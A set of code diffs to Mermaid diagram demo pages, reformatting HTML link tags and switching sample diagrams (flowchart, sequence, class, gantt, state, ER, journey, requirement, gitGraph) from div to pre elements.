console.log('\x1b[35m%s\x1b[0m', '>> graph', graph);
|
||||
document.getElementById('graph').innerHTML = graph;
|
||||
}
|
||||
</script>
|
||||
<button id="rerender" onclick="rerender('Saturday')">Rerender</button>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -16,8 +19,10 @@
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -39,7 +44,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
%%{init2: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -55,8 +60,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init2: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -72,8 +77,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init2: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
|
||||
sequenceDiagram
|
||||
@@ -91,8 +96,8 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
|
||||
classDiagram
|
||||
@@ -116,8 +121,8 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -145,8 +150,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
%%{init2: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
@@ -173,9 +178,8 @@ gantt
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
|
||||
SomethingElse --> [*]
|
||||
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
%%{init: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
@@ -202,8 +206,8 @@ stateDiagram-v2
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
|
||||
SomethingElse2 --> [*]
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -213,8 +217,8 @@ stateDiagram-v2
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -224,8 +228,8 @@ journey
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -263,8 +267,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
gitGraph:
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -307,8 +311,9 @@ requirementDiagram
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -328,8 +333,8 @@ requirementDiagram
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -17,8 +20,10 @@
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -40,7 +45,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -55,8 +60,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init2: {'securityLevel': 'loose', 'theme':'base'}}%%
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -72,8 +77,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
par Action 1
|
||||
@@ -89,8 +94,8 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
classDiagram
|
||||
Animal "1" <|-- Duck
|
||||
Animal <|-- Fish
|
||||
@@ -112,8 +117,8 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -141,8 +146,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
|
||||
@@ -168,9 +173,8 @@ gantt
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
|
||||
SomethingElse --> [*]
|
||||
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
|
||||
@@ -196,8 +200,8 @@ stateDiagram-v2
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
|
||||
SomethingElse2 --> [*]
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -207,8 +211,8 @@ stateDiagram-v2
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -218,8 +222,8 @@ journey
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -257,8 +261,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
<div class="mermaid" class="width height">
|
||||
</pre>
|
||||
<pre class="mermaid" class="width height">
|
||||
gitGraph
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -301,7 +305,9 @@ gitGraph
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
@@ -331,8 +337,8 @@ gitGraph
|
||||
// securityLevel: 'strict'
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,23 +1,28 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
background:#333;
|
||||
background: #333;
|
||||
font-family: 'Arial';
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -39,7 +44,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'theme': 'base', 'themeVariables':{'primaryColor': '#ff0000'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -55,8 +60,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -71,8 +76,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
par Action 1
|
||||
@@ -88,8 +93,9 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
|
||||
%%{init: {'theme':'dark'}}%%
|
||||
|
||||
classDiagram
|
||||
@@ -113,8 +119,9 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -142,8 +149,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
|
||||
@@ -168,8 +175,8 @@ gantt
|
||||
Active --> SomethingElse
|
||||
SomethingElse --> [*]
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
|
||||
@@ -194,8 +201,8 @@ gantt
|
||||
Active --> SomethingElse2
|
||||
SomethingElse2 --> [*]
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -205,8 +212,8 @@ gantt
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -216,8 +223,8 @@ gantt
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -255,8 +262,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
<div class="mermaid" class="width height">
|
||||
</pre>
|
||||
<pre class="mermaid" class="width height">
|
||||
gitGraph
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -299,8 +306,9 @@ gitGraph
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -319,8 +327,8 @@ gitGraph
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -16,8 +19,10 @@
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -39,7 +44,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -54,8 +59,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -70,8 +75,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
par Action 1
|
||||
@@ -87,8 +92,8 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
classDiagram
|
||||
Animal "1" <|-- Duck
|
||||
Animal <|-- Fish
|
||||
@@ -110,8 +115,8 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -139,8 +144,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
|
||||
@@ -164,8 +169,8 @@ gantt
|
||||
|
||||
Active --> SomethingElse
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
|
||||
@@ -189,8 +194,8 @@ gantt
|
||||
|
||||
Active --> SomethingElse2
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -200,8 +205,8 @@ gantt
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -211,8 +216,8 @@ gantt
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -250,8 +255,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
gitGraph
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -294,8 +299,9 @@ requirementDiagram
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -314,8 +320,8 @@ requirementDiagram
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -16,8 +19,10 @@
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -39,7 +44,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'theme': 'forest'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -55,8 +60,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -71,8 +76,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
par Action 1
|
||||
@@ -88,8 +93,8 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'theme':'forest'}}%%
|
||||
|
||||
classDiagram
|
||||
@@ -113,8 +118,8 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -142,8 +147,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
|
||||
@@ -168,8 +173,8 @@ gantt
|
||||
Active --> SomethingElse
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
SomethingElse --> [*]
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
|
||||
@@ -193,8 +198,8 @@ gantt
|
||||
|
||||
Active --> SomethingElse2
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -204,8 +209,8 @@ gantt
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -215,8 +220,8 @@ gantt
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -254,8 +259,8 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
<div class="mermaid" class="width height">
|
||||
</pre>
|
||||
<pre class="mermaid" class="width height">
|
||||
gitGraph:
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -298,8 +303,9 @@ requirementDiagram
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -318,8 +324,8 @@ requirementDiagram
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
